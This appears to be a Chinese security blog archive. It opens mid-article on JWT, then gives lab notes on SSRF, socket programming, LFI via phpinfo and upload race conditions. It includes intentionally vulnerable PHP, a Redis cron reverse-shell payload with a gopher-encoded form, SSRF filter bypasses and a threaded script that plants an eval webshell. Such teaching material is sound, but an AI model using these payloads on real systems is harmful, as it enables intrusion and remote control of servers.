  • iss:Issuer,发行者

  • sub:Subject,主题

  • aud:Audience,观众

  • exp:Expiration time,过期时间

  • nbf:Not before

  • iat:Issued at,发行时间

  • jti:JWT ID

比如下面这个 Payload ,用到了 iss 发行人,还有 exp 过期时间。另外还有两个自定义的字段,一个是 name ,还有一个是 admin 。

{

“iss”: “ninghao.net”,

“exp”: “1438955445”,

“name”: “wanghao”,

“admin”: true

}

使用 Base64 编码以后就变成了这个样子:

eyJpc3MiOiJuaW5naGFvLm5ldCIsImV4cCI6IjE0Mzg5NTU0NDUiLCJuYW1lIjoid2FuZ2hhbyIsImFkbWluIjp0cnVlfQ

Signature

JWT 的最后一部分是 Signature ,这部分内容有三个部分,先是用 Base64 编码的 header.payload ,再用加密算法加密一下,加密的时候要放进去一个 Secret ,这个相当于是一个密码,这个密码秘密地存储在服务端。

  • header

  • payload

  • secret

var encodedString = base64UrlEncode(header) + “.” + base64UrlEncode(payload);

HMACSHA256(encodedString, ‘secret’);

处理完成以后看起来像这样:

SwyHTEx_RQppr97g4J5lKXtabJecpejuef8AqKYMAJc

最后这个在服务端生成并且要发送给客户端的 Token 看起来像这样:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJuaW5naGFvLm5ldCIsImV4cCI6IjE0Mzg5NTU0NDUiLCJuYW1lIjoid2FuZ2hhbyIsImFkbWluIjp0cnVlfQ.SwyHTEx_RQppr97g4J5lKXtabJecpejuef8AqKYMAJc

客户端收到这个 Token 以后把它存储下来,下回向服务端发送请求的时候就带着这个 Token 。服务端收到这个 Token ,然后进行验证,通过以后就会返回给客户端想要的资源。

转载

本文转载自https://ninghao.net/blog/2834

初探ssrf

索引

ssrf是很常见的一个漏洞,一开始把ssrf简单的理解为链接重定向漏洞,其实也可以这么说,曾经这个漏洞影响过许多互联网企业。

危害有如下几个类型:

内网端口扫描
内网Web应用指纹识别
通过访问内网Web应用robots.txt等方式辨别cms的类型及版本然后根据公开的漏洞去攻击内网服务器
读取本地文件
读取远程文件
攻击内网其他应用,如redis,从而反弹shell

SSRF原理

cURL

curl是一个利用URL语法在命令行方式下工作的文件传输工具。PHP中有cURL的苦,叫libcurl,支持许多协议:FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE 以及 LDAP。curl同样支持HTTPS认证,HTTP POST方法, HTTP PUT方法, FTP上传, kerberos认证, HTTP上传, 代理服务器, cookies, 用户名/密码认证, 下载文件、

我们可以利用curl进行抓取网页内容

伪造请求

通俗的来说就是我们可以伪造服务器端发起的请求,从而获取客户端所不能得到的数据。SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。

类似于这样的形式:

ip:port/ssrf.php?url=xxxx

我们构造一个url请求,server端接收并访问传入的url,然后会返回给客户端相应数据(如图片等)。正常情况下,服务端希望我们传入的url是一个正常的链接,可能是站内的图片、网链,也可能是站外的其它友链。php后端使用cURL初始化一个新的cURL会话并获取一个网页。

但是,如果我们通过curl允许的协议来传递给url这个参数一些邪恶的信息呢?后果可想而知

SSRF分析

漏洞搭建

ssrf漏洞代码,未作过滤

<?php 
// 创建一个新cURL资源
$ch = curl_init(); 

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
curl_setopt($ch, CURLOPT_HEADER, 0); 

// 抓取URL并把它传递给浏览器
curl_exec($ch); 

// 关闭cURL资源,并且释放系统资源
curl_close($ch); 
?>

file协议查看文件

我们url传入的file协议语句,会在服务会执行一个curl语句,返回查询的信息。这个是基于有回显的情况,不过现在很多php后端如果这样写的话:

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1)

协议就算失效了,这种方法失败

dict协议探测端口

探测22端口(ssh服务)

http://ip:port/ssrf.php?url=dict://127.0.0.1:22/info

服务端会执行:

curl -v 'dict://127.0.0.1:22/info'

探测3306端口

http://ip:port/ssrf.php?url=dict://127.0.0.1:3306
/info

Gopher协议攻击redis反弹shell

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/要反弹的公网ip/反弹端口 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

这里网址以127.0.0.1,redis端口6379,公网ip为172.19.23.228且监听端口为2333为例
改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

302跳转

Curl默认不支持302跳转,所以需要在ssrf.php中加上一行curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)来支持跳转

代码如下:

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

php限制为http、https协议之后,我们就无法使用刚才的file dict gopher的协议了,但是我们如果开启302跳转的话可以,跳转到我们自己的vps上的网页来执行这些协议。因为服务端并没有ban掉这些协议,所以我们就找一个跳板来执行

302辅助跳转脚本:

<?php  
$schema = $_GET['schema'];
$ip     = $_GET['ip'];
$port   = $_GET['port'];
$query  = $_GET['query'];

echo "\n";
echo $schema . "://".$ip."/".$query;

if(empty($port)){  
    header("Location: $schema://$ip/$query");
} else {
    header("Location: $schema://$ip:$port/$query");
}

通过http/s协议引入我们自己的php脚本,这样就可以执行其他协议语句
发送的请求如下:

http://127.0.0.1/ssrf.php?url=http://your vps's ip/302.php?schema=dict%26ip=127.0.0.1%26port=22%26query=info

注意是POST请求还是GET请求

SSRF挖掘

社交分享功能
转码服务
在线翻译
在线代理浏览器
图片加载/下载
图片/文章收藏功能
API或调用外部URL的功能

SSRF绕过

IP地址转换绕过

数字地址(十进制):127.0.0.1->2130706433
十六进制:127.0.0.1->0x7F000001或0x7F.00.00.01或0x7F.0x00.0x00.0x01
八进制: 127.0.0.1->0177.0.0.1或0177.00.00.01
省略写法:127.0.0.1->127.1

xip.io绕过

127.0.0.1.xip.io
www.127.0.0.1.xip.io
xxx.127.0.0.1.xip.io
fuzz.xxx.127.0.0.1.xip.io

相关链接

利用 gopher 协议拓展攻击面

浅析SSRF原理及利用方式

SSRF漏洞分析与利用

Socket套接字编程学习

写在前面

最近接触到socket模块,练一下python能力,写一个通过socket(套接字)的tcp的连接,执行命令并回显。模拟ncat的正向连接功能

Socket套接字

TCP用主机的IP地址加上主机上的端口号作为TCP连接的端点,这种端点就叫做套接字(socket)或插口

套接字用(IP地址:端口号)表示。例如:192.168.1.1:8080

它是网络通信过程中端点的抽象表示,包含进行网络通信必需的五种信息:连接使用的协议,本地主机的IP地址,本地进程的协议端口,远地主机的IP地址,远地进程的协议端口。

TCP/IP协议的三种套接字类型:

流式套接字(SOCK_STREAM):
流式套接字用于提供面向连接、可靠的数据传输服务。该服务将保证数据能够实现无差错、无重复发送,并按顺序接收。流式套接字之所以能够实现可靠的数据服务,原因在于其使用了传输控制协议,即TCP(The Transmission Control Protocol)协议。

数据报套接字(SOCK_DGRAM):
数据报套接字提供了一种无连接的服务。该服务并不能保证数据传输的可靠性,数据有可能在传输过程中丢失或出现数据重复,且无法保证顺序地接收到数据。数据报套接字使用UDP(User Datagram Protocol)协议进行数据的传输。由于数据报套接字不能保证数据传输的可靠性,对于有可能出现的数据丢失情况,需要在程序中做相应的处理。

原始套接字(SOCK_RAW):
原始套接字(SOCKET_RAW)允许对较低层次的协议直接访问,比如IP、 ICMP协议,它常用于检验新的协议实现,或者访问现有服务中配置的新设备,因为RAW SOCKET可以自如地控制Windows下的多种协议,能够对网络底层的传输机制进行控制,所以可以应用原始套接字来操纵网络层和传输层应用。比如,我们可以通过RAW SOCKET来接收发向本机的ICMP、IGMP协议包,或者接收TCP/IP栈不能够处理的IP包,也可以用来发送一些自定包头或自定协议的IP包。网络监听技术很大程度上依赖于SOCKET_RAW
原始套接字与标准套接字(标准套接字指的是前面介绍的流式套接字和数据报套接字)的区别在于:原始套接字可以读写内核没有处理的IP数据包,而流式套接字只能读取TCP协议的数据,数据报套接字只能读取UDP协议的数据。因此,如果要访问其他协议发送数据必须使用原始套接字。

编程思路

tcp服务端

1、创建一个套接字,选择tcp流通信,并且绑定套接字到本地ip和端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind()

2、开始监听

s.listen(5) # 一般5的最大连接就够了

3、循环接收客户端连接要求

while True:
    conn,addr=s.accept() # 接收tcp连接,并返回一个新的套接字conn,和ip地址addr

这个套接字的作用:
作为介质,用来接收客户端的信息、返回给客户端信息。服务端在接收这个conn套接字后跟客户端共用此套接字。

4、执行接收的命令,结果的数据返回给客户端。

5、传输完毕关闭套接字

tcp客户端

1、创建一个套接字并连接远端

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect()

2、 连接后发送数据和接收数据

3、 传输完毕关闭套接字

代码执行

服务端

客户端

效果

相关链接

(Python Socket 编程详细介绍)[https://gist.github.com/kevinkindom/108ffd675cb9253f8f71]

(python socket编程详细介绍Ⅱ)[http://blog.51cto.com/yangrong/1339593]

LFI with phpinfo测试

基础知识

本地文件包含,英文Local File Include,简称LFI。文件包含是一种简化代码、提高代码重用率的方法。但是,由于没有正确处理用户输入,导致本地文件包含漏洞。黑客可以通过漏洞包含非PHP执行文件,如构造包含PHP代码的图片木马、临时文件、session文件、日志等来达到执行PHP代码的目的。

环境

一个简单的文件上传,无任何过滤的页面:

Lfi.php:

<?php include $_GET['file'];

&一个phpinfo页面
docker复现的环境,这里吐槽一下ubantu..

思路

php引擎对表单的处理

以上传文件的方式请求任意PHP文件,服务器都会创建临时文件来保存文件内容
PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
1、请求到达;

2、创建临时文件,并写入上传文件的内容;

3、调用相应PHP脚本进行处理,如校验名称、大小等;

4、删除临时文件。

PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。对phpinfo.php发起请求,会在/tmp下生成一个临时文件。其中临时文件内容正是我们POST请求中文件内容,临时文件的名称是php+随机数字.tmp,正中本地文件包含痛点。

分块传输

php默认的输出缓冲区大小为4096,也就是四字节,可以理解为php每次返回4096个字节给socket连接

攻击过程

画了一个流程图,利用发送给phpinfo数据包发送给包含点的数据包之间的时间差,来写入一个永久的文件,具体在流程图体现

执行

执行exp

懒得贴图了,看链接吧
PHP文件包含漏洞(利用phpinfo)

相关链接

在实际情况中,如果要修改poc参数,参考链接
LFI with PHPInfo本地测试过程

文件上传竞争

刚才的竞争是数据从socket client到service过程和POST数据到文件包含过程的竞争,借助了文件包含这个点来生成一个webshell,或者执行系统命令的参数。

文件竞争是多线程与服务期间的竞争。首先将文件上传到服务器,然后检测文件后缀名(或者是有害文件),如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。

exp

import os
import requests
import threading

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = "http://127.0.0.1:8080/upload/shell0.php"
        self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print("[*]create file info.php success")
            os._exit(0)

    def _upload(self):
        print("upload file.....")
        file = {"file":open("shell0.php","r")}
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(5):
                self._get()
            for i in range(10):
                self._upload()
                self._get()

if __name__ == "__main__":
    threads = 20

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join()

前端代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="myfile"/>
    <input type="submit" value="上传"/>
</form>
</body>
</html>

后端代码

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['myfile']['name'];

if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
    if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
        die("error:can not move!");
    }
} else {
    die("error:not an upload file!");
}

$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if ($_FILES['myfile']['error'] > 0){
    unlink($newfile);
    die("Upload file error: ");
}

$ext = array_pop(explode(".",$_FILES['myfile']['name']));
if (!in_array($ext,$allowtype)){
    unlink($newfile);
    die("error:upload the file type is not allowed,delete the file!");
}
?>

写在后面

很遗憾,文件上传竞争我没跑出来。最新学一下socket写个py吧,脚本转化能力太菜了

not found!